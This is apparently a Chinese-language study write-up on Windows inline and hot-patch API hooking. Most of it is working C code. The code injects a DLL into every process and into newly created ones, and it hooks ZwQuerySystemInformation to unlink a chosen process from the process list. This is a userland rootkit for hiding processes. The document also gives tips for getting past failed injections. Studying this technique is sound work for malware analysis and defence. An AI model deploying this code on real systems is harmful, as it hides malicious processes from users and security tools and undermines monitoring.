@author: dlive
IAT Hook時如果要鈎取的API不在IAT中(LoadLibrary后調用),則無法使用該技術。而Inline Hook不存在這個限制。
0x01 Inline Hook原理
原理比較簡單,將API代碼的前5個字節修改為JMP xxxxxx 指令來鈎取API。調用執行被鈎取的API時,JMP XXXXXX指令被執行,轉而跳轉至Hook函數。
0x02 相關API
用戶模式下檢測進程的相關API通常分為如下兩類:
-
CreateToolhelp32Snapshot() 和 EnumProcess()
這兩個API均在其內部調用了ntdll.ZwQuerySystemInformation
-
ZwQuerySystemInformation()
該API可獲得運行中的所有進程信息(結構體),形成一個鏈表,操作該鏈表從鏈表中刪除相關進程即可達到隱藏的目的。
0x03 隱藏進程時可能遇到的問題
- 要鈎取進程的個數。要想把某個進程隱藏起來,需要鈎取系統中運行的所有進程
- 需要對新啟動的進程也做同樣的鈎取操作
以上就是全局鈎取的概念
注意:鑒於系統安全性考慮,系統進程禁止進行注入操作
0x04 代碼分析
1. HideProc.cpp
InjectAllProcess
向所有進程注入/卸載DLL
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
//鑒於系統安全性考慮,對於PID小於100的系統進程,不執行DLL諸如操作
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
2. stealth.cpp
實際API的鈎取由stealth.dll負責
2.1 SetProcName
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
#pragma data_seg(".SHARE")
一般用於DLL中,在DLL中定義一個共享的,有名字的節區。最關鍵的是:這個節區中的全局變量可以被多個進程共享。 這里將建立的節區命名為.SHARE
。您可以將這段命名為任何一個您喜歡的名字。在這里的#pragma敘述之后的所有初始化了的變量都放在.SHARE
節區中。
#pragma data_seg()
敘述標示段的結束。對變量進行專門的初始化是很重要的,否則編譯器將把它們放在普通的未初始化數據段(.bss)中而不是放在shared中。
連結器必須知道有一個「shared」共享節區: #pragma comment(linker,"/SECTION:shared,RWS")
字母RWS表示節區具有讀、寫和共享屬性。
// ------------------------------ 我是一個題外話 --------------------------------------
//說個題外話,通過共享節區變量可以做到防多開(騰訊游戲安全競賽的時候曾經用過這個方法)
//DLL加載時count++, 卸載時count--
//demo代碼如下,只是demo
#pragma data_seg("flag_data")
int count=0;
#pragma data_seg()
#pragma comment(linker,"/SECTION:flag_data,RWS")
if(count>1)
{
MessageBox("已經啟動了一個應用程序","Warning",MB_OK);
return FLASE;
}
count++;
// ------------------------------ 我是一個題外話 --------------------------------------
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
//將steach.dll字符串存放在內存共享節區
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif
2.2 DllMain
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// #1. 判斷進程名稱,不向HideProc.exe注入dll
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;
switch( fdwReason )
{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;
// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}
return TRUE;
}
2.3 hook_by_code
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
// 獲取要鈎取的API地址
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;
// 若已經被鈎取,則返回False
if( pByte[0] == 0xE9 )
return FALSE;
// 修改內存屬性
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 備份原有的5字節
memcpy(pOrgBytes, pfnOrg, 5);
// JMP (E9 XXXX)
// => XXXX = pfnNew - pfnOrg - 5
dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
memcpy(&pBuf[1], &dwAddress, 4);
// Hook - 5 byte (JMP XXXX)
memcpy(pfnOrg, pBuf, 5);
// 恢復內存屬性
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
JMP目的地址的計算,xxxxxxxx為相對地址
長跳轉
E9 xxxxxxxx
xxxxxxxx = 要跳轉的絕對地址 - 當前指令絕對地址 - 當前指令長度(5)
還有另外的一些跳轉指令
短跳轉 short jmp
EB xx (指令長度為兩字節, xx為相對地址)
跳轉到絕對地址
push xxxxxxxx; ret
68 xxxxxxxx c3
跳轉到絕對地址
move eax, xxxxxxxx
jmp eax
B8 xxxxxxxx
FFE0
2.4 unhook_by_code
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
// 獲取API地址
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
// 判斷API 代碼是否被修改過
if( pByte[0] != 0xE9 )
return FALSE;
// 將API開始5Byte內存屬性修改為RWX
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// Unhook,將原始的5Byte數據修改回來
memcpy(pFunc, pOrgBytes, 5);
// 恢復內存屬性
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
2.5 NewZwQuerySystemInformation
Zw開頭的函數和Nt開頭的函數的區別:
在RING3下,應用程序調用NT或者ZW效果是一樣的, 在dll中執行的是同一段代碼。
在RING0下,調用NT函數跟ZW函數就不一樣了,ZW開頭的函數是通過eax中系統服務號去SSDT中查找相應的系統服務,然后調用之。
若在驅動中直接調用NT開頭的函數是不會經過SSDT的 也不會被SSDT HOOK攔截的。
即:在R0下通過調用NT系列函數可以繞過SSDT HOOK 。微軟推薦使用Zw開頭的函數
ZwQuerySystemInformation微軟官方手冊(對各個字段解釋不完整)
https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx
#define STATUS_SUCCESS (0x00000000L)
typedef LONG NTSTATUS;
//將SYSTEM_INFORMATION_CLASS設置為SystemProcessInformation(5)后調用ZwQuerySystemInformation API
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
//API獲得的信息為SYSTEM_PROCESS_INFORMATION結構體組成的單向鏈表的起始地址,該結構體重存儲着運行中所有進程的信息
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset; //鏈表中下一個結構體相對於當前結構體的偏移量
ULONG NumberOfThreads; //線程數目;
BYTE Reserved1[48];
PVOID Reserved2[3]; //Reserved2[1]為進程名稱,進程名稱為Unicode字符串
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation, //參數單向鏈表的起始地址
ULONG SystemInformationLength,
PULONG ReturnLength);
#define DEF_NTDLL ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")
//NTSTATUS 是被定義為32位的無符號長整型。在驅動程序開發中,人們習慣用 NTSTATUS 返回狀態。
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
// 首先脫鈎
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
// 調用原始API
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
// 判斷調用API時是否為要鈎取的調用方式(SystemProcessInformation(5))
if( SystemInformationClass == SystemProcessInformation )
{
// pCur 存儲單鏈表的首地址
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
// 比較進程名稱
// g_szProcName為要隱藏的進程
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// 刪除鏈表節點
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
//遍歷結束
if(pCur->NextEntryOffset == 0)
break;
// 相當於p=p->next
pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
// 重新Hook API
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
return status;
}
0x05 全局API鈎取
全局API鈎取技術針對的進程:
- 當前運行的所有進程
- 將來要運行的所有進程
前面的示例程序並不是全局API鈎取的例子,因為它並不滿足全局API鈎取定義中的第二個條件
1.相關API
//Kernel32.CreateProcess
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
該API用於創建新進程,其他啟動運行進程的API(WinExec, ShellExecute, system)在其內部調用的都是該函數
WinExec:
https://msdn.microsoft.com/en-us/library/ms687393(v=vs.85).aspx
可以直接鈎取父進程(通常是explorer.exe)的CreateProcess API來監控子進程創建,從而達到鈎取子進程的目的。
但是這種方法存在一些問題,且不說需要同時鈎取CreateProcessA, CreateProcessW,CreateProcessInternalA, CreateProcessInternalW, 還存在在NewCreateProcess(攻擊者自定義的Hook函數)調用CreateProcess創建子進程時,極短時間內,子進程可能在未鈎取的狀態下運行。
//Ntdll.ZwResumeThread
ZwResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG SuspendCount OPTIONAL
)
該API也是一個未公開API,它是比CreateProcess更低級的API,它在進程創建后,主線程運行前被調用執行。所以只要鈎取這個函數即可在不運行子進程代碼的情況下鈎取API。
但由於其為未公開API,隨着OS的升級,API可能失效。
2.代碼分析
stealth2.cpp中增加了對CreateProcessA和CreateProcessW的Hook操作,並對新創建的進程進行dll注入d
有NewCreateProcessA為例:
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
// unhook
unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 如果新進程創建成果,將stealth.dll注入到新進程中
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// hook
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
return bRet;
}
0x06 利用熱補丁技術鈎取API
前面demo程序中通過代碼修改技術進行API Hook存在的缺點
- 頻繁脫鈎,掛鈎會造成整體性能下降
- 多線程環境,當一個線程嘗試運行某段代碼,而另一進程剛好在對該代碼進行寫操作,這時就會發生沖突,會引起非法訪問異常(Access Violation)。《windows核心編程》指出,利用代碼修改技術鈎取API會對系統安全造成威脅
1.熱補丁(修改7Byte代碼)
Windows系統庫中的函數,如kernel32.CreateProcessA/W, user32.MessageBoxA,gdi32.TextOutW有一個相似點
- API以
MOV EDI, EDI
指令開始(IA-320X8bff
) - API上方有5個
NOP
指令(IA-320X90
)
微軟做此設計的目的就是方便打熱補丁。
使用熱補丁Hook API的過程如下
- 修改API開始的兩個字節
MOV EDI,EDI
為SHORT JMP指令EB F9
, 跳轉的目標地址是address_of_api - 5,即5個NOP指令的第一條 - 修改5個NOP指令為長跳轉
E9 XXXXXXXX
,跳轉到用戶自定義API - 用戶自定義代碼調用原始API時,直接以API+2的地址為API地址調用原API,這樣就不會引起內存非法訪問
2.代碼分析
2.1 DllMain
和之前代碼一樣,在Dll附加進程的時候調用hook方法,在dll卸載時調用unhook方法
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// 判斷進程名稱,不向HideProc2.exe注入dll
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
return TRUE;
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
// hook
hook_by_hotpatch("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA);
hook_by_hotpatch("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW);
//可以看到這里沒有對ZwQuerySystemInformation使用熱補丁Hook,具體原因見"3.熱補丁Hook的缺點"
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
break;
case DLL_PROCESS_DETACH :
// unhook
unhook_by_hotpatch("kernel32.dll", "CreateProcessA");
unhook_by_hotpatch("kernel32.dll", "CreateProcessW");
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
g_pOrgZwQSI);
break;
}
return TRUE;
}
2.2 hook_by_hotpatch
修改API中無用的7字節數據,跳轉到用戶自定義Hook函數
BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew)
{
FARPROC pFunc;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = { 0xE9, 0, };
BYTE pBuf2[2] = { 0xEB, 0xF9 };
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] == 0xEB )
return FALSE;
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 1. NOP (0x90)
dwAddress = (DWORD)pfnNew - (DWORD)pFunc;
memcpy(&pBuf[1], &dwAddress, 4);
memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
// 2. MOV EDI, EDI (0x8BFF)
memcpy(pFunc, pBuf2, 2);
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);
return TRUE;
}
2.3 unhook_by_hotpatch
將7字節數據修改為原數據
BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 };
BYTE pBuf2[2] = { 0x8B, 0xFF };
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] != 0xEB )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 1. NOP (0x90)
memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
// 2. MOV EDI, EDI (0x8BFF)
memcpy(pFunc, pBuf2, 2);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
2.4 NewCreateProcess
這里需要注意一點,在使用之前的hook方法進行API鈎取時,在用戶自定義NewCreateProcess函數開頭需要調用unhook方法(防止進入鈎取的死循環),函數結尾需要調用hook方法進行重新鈎取。
但是使用熱補丁Hook時不需要這樣反復脫鈎,掛鈎,只需在調用原始API時,使用address of API + 2的地址調用API即可
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
//以API地址+2為函數地址調用CreateProcessA函數
pFunc = (FARPROC)((DWORD)pFunc + 2);
bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 注入steach3.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
return bRet;
}
3.使用熱補丁進行Hook的缺點
熱補丁鈎取技術有個明顯的缺點,即不符合鈎取條件(7字節無用代碼)的API無法使用熱補丁鈎取
這樣的API有,ntdll.dll提供的API 和kernel32.GetStartInfoA() 等
並非所有API都能使用熱補丁鈎取,所以使用前需要先確認要鈎取的API是否支持,若不支持則需使用前面的5字節代碼修改技術
0x07 Ntdll.dll API鈎取技巧
Ntdll.dll中提供的API代碼都較短,鈎取這些API時有一種非常好的方法,使用這種方法時先將原API備份到用戶內存區域,然后使用5字節代碼修改技術修改原API的起始部分。在用戶鈎取函數內部調用API時,只需調用備份的API即可,這樣實現的API鈎取既簡單又穩定。由於Ntdll.all API代碼較短,且代碼內部地址無依賴性,所以它們非常適合用該技術鈎取。
0x08 一些問題
-
Dll在內存中只會加載一次,那么在Hook時對Dll進行修改后豈不是會影響所有使用該dll的進程?
主要是Copy-On-Write機制,a.dll在內存中只有一份拷貝,增加的是dll的引用計數,當dll的引用計數為0時,系統會回收對應內存和刪除對應的映射。
如果有一個程序對dll的內存進行了相應的修改,比如說修改內存加載鈎子,那么系統會將對應頁面復制一份出來給程序,此時,兩個程序指向的dll的對應內存就不同了。 -
使用HideProc注入時注入失敗
Windows 7/Vista中使用了會話隔離技術,可能導致Dll注入失敗。出現這個問題時,不要使用kernel32.CreateRemoteThread而使用ntdll.NtCreateThreadEx就可以了。
此外,嘗試向PE32+格式的進程注入PE32格式的DLL時也會失敗(反之亦然)。注入時必須保證注入的DLL文件和目標進程PE格式一致。